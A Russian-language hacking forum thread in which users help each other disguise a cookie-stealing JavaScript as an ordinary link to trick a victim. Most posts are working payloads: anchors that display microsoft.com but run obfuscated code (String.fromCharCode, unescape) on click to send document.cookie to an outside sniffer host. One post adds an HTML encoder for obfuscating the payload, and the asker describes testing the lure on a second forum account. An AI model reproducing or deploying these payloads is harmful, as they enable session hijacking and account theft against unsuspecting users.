Как замаскировать javascript под ссылку, т.е. нету возможности сделать так, чтобы жертва вставила javascript в адресную строчку.
Вот допустим мой javascript: javascript:document.write('<script>img = new Image(); img.src = "http://www?"+document.cookie;</script>') Как замаскировать?
<a href="http://microsoft.com/" onClick="eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 62, 105, 109, 103, 32, 61, 32, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 63, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41))">MS</a>
<a href="http://microsoft.com/" onClick="eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 62, 105, 109, 103, 32, 61, 32, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 104, 116, 116, 112, 122, 46, 114, 117, 47, 110, 49, 49, 55, 97, 101, 101, 106, 119, 115, 118, 46, 103, 105, 102, 63, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41))">MS</a> репу себе оставь
HTML: <html> <script> function enc() { var data = document.getElementById('lol').innerText.split(''); var c = []; for (var a in data) { c[a] = data[a].charCodeAt(); } document.getElementById('lol').innerText = c.join(', '); } </script> <textarea id="lol"></textarea> <input type="button" onClick="enc();" value="Kodirovat"> </html>
ох ппц, создай файл с расширением html, скопируй мой код и запусти через браузер. в поле вставишь код для шифровки, нажмешь кнопку и получишь циферки. думай уже, чтоле.
Я вот создал два профиля на форуме. Присылаю ЛС одному с ссылкой, которая замоскирована так: Жмякаю по ссылке, но в логах на сниффере ничего не появляется.
проверь код, в адресной строке у себя запусти (перейдите по ссылке): javascript:alert(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 62, 105, 109, 103, 32, 61, 32, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 58, 47, 47, 104, 116, 116, 112, 122, 46, 114, 117, 47, 110, 49, 49, 55, 97, 101, 101, 106, 119, 115, 118, 46, 103, 105, 102, 63, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41));
<a href="http://microsoft.com/" onClick="eval(unescape('i%3Dnew+Image%28%29%3Bi.src%3D%22http%3A%2F%2Fhttpz.ru%2Fn117aeejwsv.gif%3F%22%2Bescape%28document.cookie%29%3B'));">MS</a> пробел убери ток, булка режет